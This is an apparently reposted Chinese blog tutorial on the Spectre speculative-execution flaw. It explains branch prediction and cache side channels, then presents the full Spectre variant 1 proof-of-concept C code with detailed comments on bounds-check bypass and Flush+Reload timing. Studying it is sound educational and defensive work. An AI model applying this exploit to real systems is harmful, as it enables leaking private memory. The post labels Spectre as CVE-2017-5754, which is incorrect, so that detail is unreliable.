Spectre漏洞

漏洞介绍

Spectre的PoC下载地址: https://spectreattack.com/。

Spectre涉及CVE编号为CVE-2017-5754。

虽然我们常见认为CPU访问内存速度很快,但基于CPU运算频率来看,这个访问过程还是非常慢的,CPU访问内存中的数据需要比较长的等待时间,为了提高CPU的性能,它提出了分支预测、预测执行的功能。让CPU再访问内存等待数据时,依然可以进行相对有效的计算。如果这个分支跳转的目标的情况,是基于一个内存中的数据,并且这个内存中的数据又没有被缓存过的话(CPU就只能去内存中进行读取相关数据),CPU就会去尝试进行分支预测推测执行的动作。当CPU读取的内存数据回来的时候,CPU再根据这个数据的内容以及分支条件的逻辑去确认,它刚才的推测执行是否有效,如果无效则把计算结果丢弃,恢复到之前的状态。如果有效则继续执行,这大大提高了CPU的效率。

但这里存在一个问题,如果推测执行的结果被丢弃,但推测执行过程中所执行的代码仍可能会影响CPU的缓存。在CPU进行恢复状态的时,缓存不会被恢复,CPU只会把相关的寄存器的状态恢复。这个漏洞的根本原因是因为,推测执行中的代码可以影响CPU的缓存,而这个缓存的影响,又可以用一些技术手段探测出来。分支逻辑在这种实现上是不可靠的,因为缓存被修改了,它可以让攻击者经过测量,稳定推测出预测执行中所访问数据的内容,就导致了内存中数据的泄露。

//CPU 幽灵漏洞POC代码注释   阅读代码要从main函数里面开始看
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#ifdef _MSC_VER					// 如果定义了微软编译器版本  包含了用于Flush+Reload 缓存攻击的rdtscp和clflush 的适当文件
//Flush+Reload攻击方法就是利用缓存加载进CPU的话速度比从内存中加载速度快
//rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用
// __MACHINEI(unsigned __int64 __rdtscp(unsigned int*))
// __MACHINEX86X_X64(void _mm_clflush(void const *))
#include <intrin.h>				// for rdtscp and clflush
#pragma optimize("gz", on)		// g全局优化 z大小优化 s速度优化  on 开启  分支预测为CPU优化技术的一种,要开启
#else							// 没有定义微软编译器版本
#include <x86intrin.h>			// for rdtscp and clflush
#endif


#define __TRYTIMES   999//这个是实验的次数,这个实验做的多一些,最后得出数据也会越精确


//  数据类型  注意   uint8_t = unsigned char;  也就是每个数组元素都是1字节,这个很重要

unsigned int array1_size = 16;

uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
                     
uint8_t array2[256 * 512];      //这个array2    无符号的话一个字节最高表示256   ,*512 ,缓存自身是64字节为单位,为了与内存映射,他回把缓存也
//以64字节划分,内存加载进缓存的话一次就加载64字节,也就是说  每次你可能只是测试这64字节中其中一个,结果他全部加载进来了,后面的时间测试就没法做了
//此处比较难理解,如果没看懂,请看后面分析
char *secret = "The Magic Words are Squeamish Ossifrage";//这个是保密信息,只有受害者知道 翻译成ASCII码也就是 84 72 69 32(空格)
//Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。


uint8_t temp = 0;//全局变量  保证编译器不会再编译时删除victim_function()   如果没有全局变量的话,编译器可能把该函数优化
//这个是用来训练CPU分析预测,让分支预测结果一直比array1_size小,第6次超出范围,训练CPU有分支预测功能,且array1_size每次都是从内存重新加载
//速度慢,第6次时没判断,array2已经加载进来了
void victim_function(size_t x)
{
	
	if (x<array1_size)   //这个array1_size 每次都是从新从内存加载  下面有对它的flush操作 //所以array1_size比x慢一些,导致后面恶意操作,x还未和array1_size比较,CPU就预测正确  后面的一系列操作就发生了(如计算array1[x] , array1[x]* 512  //请求缓存从内存加载array2[array1[x] * 512] 等操作 )  等CPU判断越界时,木已成舟,重置了CPU状态,从false执行,但是缓存中数据没变。
		temp &= array2[array1[x] * 512];//把array1[x]的数据读取到缓存中  array2[] 里面内容一直就是1,只是通过下标记录了array1[x]的值,
	     //一共6次操作,第6次是违法操作,array2[]   
	    //解释   array2[array1[x] * 512]      x = malicious_x(如果他是字母secret[0]也就是T的偏移)  array1[malicious_x] = T
	    //array2[T* 512]  这个T是ASCII码值   ASCII(I) = 84  也就是array2[84*512]被加载进缓存,后面CPU访问他的时候速度非常快,比array2[0-83*512]  和array2[85-256*512](不包括arra1数据,这个后面的 107 行条件 mix_i != array1[training_x] 可以看到)快的多,因为
	    //他们都是从内存中重新加载的
	    //这里非常巧妙地是用 array2的下标记录了  secret内容
		//之所以乘以512或者是64的倍数  是因为   cacheLine //是64字节,内存加载进缓存是加载完整cacheLine进去的,如果不是乘以64,我们一次加载就把多个secret元素加载进一个cacheLine,后面测量时间就没法展开///了
}


#define CACHE_HIT_THRESHOLD (80)      //时间阀值 不同CPU是不同的,80应该是作者测试得到
//三参数  value是Secrect的内容,score中是评分值该函数将测试使用Flush+Reload缓存攻击访问该值所需的时间。
//命中次数存储在results表中,但是函数只返回了两个最佳猜测。
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
	static int results[256];     //这是统计命中次数的表   
	int tries, i, j, k, mix_i;
	unsigned int junk = 0;
	size_t training_x, x;
	register uint64_t time1, time2; //为了时间更加精确,使用寄存器存储时间变量。
	volatile uint8_t *addr;   //volatile的变量是说这变量可能会被意想不到地改变,这样,编译器就不会去假设这个变量的值了。      

	for (i = 0; i<256; ++i)//仅仅初始化结果表。这里没有缓存攻击。
		results[i] = 0;//先把统计次数表都置0了,类似于百米赛跑开始时,时间清零

	for (tries = __TRYTIMES; tries>0; --tries)  //开始试验  每次我们只计算一个secrt数组内容
	{
		for (i = 0; i<256; i++)
		{                                     //i7 CPU  是多核CPU,有三级缓存,L1和L2缓存为每个CPU私有,L3为多个核共享                      
			_mm_clflush(&array2[i * 512]);    //flush and reload 是应用的L3缓存,clfush指令可以 把缓存行从L1和L2中清理,保证下次把内存中输入加载进L3缓存
			                                  //调用readMemoryByte每次只分析  secret[]数组一个内容,下一次要把缓存清理一下
		}
		//CLFLUSH。CLFLUSH(Cache Line Flush,缓存行刷回)清除缓存线
		//若该缓存行中的数据被修改过,则将该数据写入主存
		training_x = tries % array1_size;  //   training_x第一次为7
		for (j = 29; j >= 0; j--)
		{
			_mm_clflush(&array1_size);        //刷新缓存线路,这个后面用它 与x比较,flush之后每次都是重新加载,x与它判断需要花费时间
			for (volatile int z = 0; z<100; z++) {}//确保刷新完成  相当于暂停一下

													
												
			x = ((j % 6) - 1) & ~0xFFFF;
			x = (x | (x >> 16));
			x = training_x ^ (x&(malicious_x ^ training_x));//前5次x计算出为7,第6次是那个偏移malicious_x
			//这些行将生成5次小写的x,这将导致victim_function(x)接受分支。
				//这五次是用来训练分支预测器假设分支会被取走。
				//由于之前的5次训练,一个易受攻击的过程将会在第6次迭代中执行if分支。
			
			victim_function(x);//执行陷阱函数
		}
		

		//  flush and reload
		for (i = 0; i<256; ++i)
		{
			mix_i = ((i * 167) + 13) & 255;		//我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,并保证每次把(0-255)都生成一遍
			//这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。
			addr = &array2[mix_i * 512];// 计算缓存线路的地址来进行检查。
			//我们测定访问该缓存线中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。
			time1 = __rdtscp(&junk);  
			junk = *addr;           //读取内存   因为之前这个地址内内容被加载进缓存了,所以在此访问这个地址会很快
			time2 = __rdtscp(&junk) - time1;  //测出  时间间隔 
			if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x])  //后面这个条件就把array1排除了
				results[mix_i]++;//cache arrary2中的 0-255 项命中则 +1 分
		}

		/*
		获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里
		*/
		j = k = -1;
		for (i = 0; i < 256; i++)  //i只是用来循环的辅助变量
		{
			if (j < 0 || results[i] >= results[j])  //result统计的是命中的次数,因为 j  命中最高的字符  k 次高项字符
			{                                       //j不会小于0且j命中次数要大于等于i的
				k = j;                  
				j = i;         
			}
			else if (k < 0 || results[i] >= results[k]) //k也不会小于0,最小是0
			{
				k = i;     
			}
		}

		/*
		最高命中项命中次数大于 2 倍加 5 的次高命中项次数
		或
		仅仅最高命中项命中 2 次
		则
		退出循环,成功找到命中项
		*/

		if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
			break;
	}

	results[0] ^= junk;		//使用 junk 防止优化输出
	value[0] = (uint8_t)j;//存储命中最高的字符
	score[0] = results[j];//存储命中最高项字符的命中次数
	value[1] = (uint8_t)k;//存储命中次高的字符
	score[1] = results[k];//存储命中次高项字符的命中次数
}

int main(int argc, const char **argv)
{
	size_t malicious_x = (size_t)(secret - (char*)array1);   //secret和array1都读进了缓存
	//malicious_x会被传入到victim_function中所以   array1[ malicious_x] = T
	//正常情况下,如果malicious_x比array1_size值大,array1[ malicious_x]是没法读取的,但是如果做一个训练让x值前几次
	//都比array1_size小,然后放入malicious_x,如此循环几次触发了分支预测,CPU预测出x比array_size小的概率很大,当 malicious_x
	//再次放入的时候(这个malicious实际上是比array1_size大的),CPU就预测malicious已经超出数组array的大小,只是CPU缓存区在计算读取的数据放到了CPU的缓存中,因为
	//因为一场所以并没有真正的执行写入到内存中,这就是漏洞产生的原因
	int i, score[2], len = 0x28;//0x28十进制为40 也就是 "The Magic Words are Squeamish Ossifrage"字符串的长度(字符串有效长度为39)
	uint8_t value[2];//上面字符串数组里面的内容

	printf("array1 adress=0x%p\n", array1);
	printf("secret adress=0x%p\n", secret);
	

	for (i = 0; i<sizeof(array2); ++i)                      //uint8_t array2[256*1]
	{
		array2[i] = 1;
	}

	if (3 == argc)            
	{
		sscanf(argv[1], "%u", &malicious_x);   
		malicious_x -= (size_t)array1;                   
		sscanf(argv[2], "%d", &len);                     
	}

	printf("reading %04d bytes\n\n", len);       
	int len_copy = len;
	while (--len >= 0)//我们做40次试验,每次只计算出一次secret的内容
	{
		printf("order:%04d", len_copy - len);
		printf("\taddress:0x%p", (uint8_t*)(malicious_x + array1));  
		readMemoryByte(malicious_x++, value, score);    
		printf("\tresult:%s     ", (score[0] >= 2 * score[1] ? "success" : "fail"));//经测试这里的2是可以写成1的,写成一  我们的512可以改成64.
		printf("\tvalue:%02X acsii:'%c'\tscore=%d ", value[0], (value[0]>31 && value[0]<127 ? value[0] : '?'), score[0]);
		if (score[1]>0) //次高项
			printf("\t(second best:value:0x%02X score=%d)", value[1], score[1]);
		printf("\n");
	}

	system("pause");
	return 0;
}

猜你喜欢

转载自blog.csdn.net/yusakul/article/details/84678318